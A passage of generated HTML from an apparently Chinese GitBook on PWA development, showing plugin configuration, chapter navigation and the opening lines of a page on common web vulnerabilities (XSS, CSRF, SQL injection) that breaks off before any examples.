内容安全策略\",\"level\":\"1.8.2\",\"depth\":2,\"path\":\"chapter07/2-CSP.md\",\"ref\":\"chapter07/2-CSP.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter07/3-policy.md\",\"mtime\":\"2019-06-19T10:37:42.392Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter07/4-vulnerability.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>7.4 典型的安全漏洞 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"../gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"../gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"../gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"../chapter08.html\" />\n    \n    \n    <link rel=\"prev\" href=\"3-policy.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"../gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"../gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='../favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"../\">\n            \n                <a href=\"../\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"../chapter01.html\">\n            \n                <a href=\"../chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"../chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"../chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"../chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"../chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"../chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"../chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"../chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"../chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"../chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"../chapter02.html\">\n            \n                <a href=\"../chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"../chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"../chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"../chapter02/2-design-and-tech.html\">\n            \n                <a href=\"../chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"../chapter02/3-app-shell.html\">\n            \n                <a href=\"../chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"../chapter02/4-app-skeleton.html\">\n            \n                <a href=\"../chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"../chapter02/5-responsive-design.html\">\n            \n                <a href=\"../chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"../chapter03.html\">\n            \n                <a href=\"../chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"../chapter03/1-promise.html\">\n            \n                <a href=\"../chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"../chapter03/2-async-function.html\">\n            \n                <a href=\"../chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"../chapter03/3-fetch-api.html\">\n            \n                <a href=\"../chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"../chapter03/4-cache-api.html\">\n            \n                <a href=\"../chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"../chapter03/5-indexeddb.html\">\n            \n                <a href=\"../chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"../chapter04.html\">\n            \n                <a href=\"../chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"../chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"../chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"../chapter04/2-service-worker-register.html\">\n            \n                <a href=\"../chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"../chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"../chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"../chapter06/1-manifest-json.html\">\n            \n                <a href=\"../chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"../chapter06/2-credentials-api.html\">\n            \n                <a href=\"../chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"../chapter06/3-notification-api.html\">\n            \n                <a href=\"../chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"../chapter06/4-web-push-api.html\">\n            \n                <a href=\"../chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"../chapter06/5-payment-request-api.html\">\n            \n                <a href=\"../chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"1-https.html\">\n            \n                <a href=\"1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"2-CSP.html\">\n            \n                <a href=\"2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"3-policy.html\">\n            \n                <a href=\"3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.8.4\" data-path=\"4-vulnerability.html\">\n            \n                <a href=\"4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >7.4 典型的安全漏洞</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;\"><b></b>&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;xss&#xFF09;\"><b></b>&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;XSS&#xFF09;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;csrf&#xFF09;\"><b></b>&#x8DE8;&#x7AD9;&#x8BF7;&#x6C42;&#x4F2A;&#x9020;&#xFF08;CSRF&#xFF09;</a></li><li><span class=\"title-icon \"></span><a href=\"#sql-&#x6CE8;&#x5165;&#x6F0F;&#x6D1E;\"><b></b>SQL &#x6CE8;&#x5165;&#x6F0F;&#x6D1E;</a></li></ul></ul></ul></div><a href=\"#\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h2 id=\"&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;\"><a name=\"&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;\" class=\"plugin-anchor\" href=\"#&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;</h2>\n<p>&#x5728;&#x6784;&#x5EFA; PWA &#x7AD9;&#x70B9;&#x7684;&#x8FC7;&#x7A0B;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x4F1A;&#x9762;&#x4E34;&#x5F88;&#x591A;&#x7684;&#x5B89;&#x5168;&#x98CE;&#x9669;&#x548C;&#x6F0F;&#x6D1E;&#xFF0C;&#x5982; <code>XSS</code>&#xFF0C;<code>CSRF</code>&#xFF0C;<code>SQL &#x6CE8;&#x5165;&#x6F0F;&#x6D1E;</code>&#xFF0C;<code>ClickJacking</code>&#xFF0C;<code>&#x6587;&#x4EF6;&#x4E0A;&#x4F20;&#x6F0F;&#x6D1E;</code> &#x7B49;&#x7B49;&#x3002;&#x5728;&#x672C;&#x5C0F;&#x8282;&#x4E2D;&#xFF0C;&#x6211;&#x4EEC;&#x5217;&#x4E3E;&#x51E0;&#x79CD;&#x5BA2;&#x6237;&#x7AEF;&#x5E38;&#x89C1;&#x7684;&#x5B89;&#x5168;&#x6F0F;&#x6D1E;&#xFF0C;&#x4E86;&#x89E3;&#x4E00;&#x4E0B;&#x5176;&#x539F;&#x7406;&#x548C;&#x9632;&#x8303;&#x65B9;&#x6CD5;&#x3002;</p>\n<h3 id=\"&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;xss&#xFF09;\"><a name=\"&#x8DE8;&#x7AD9;&#x811A;&#x672C;&#xFF08;xss&#xFF09;\" class=\"anchor-navigation-ex-anchor\" 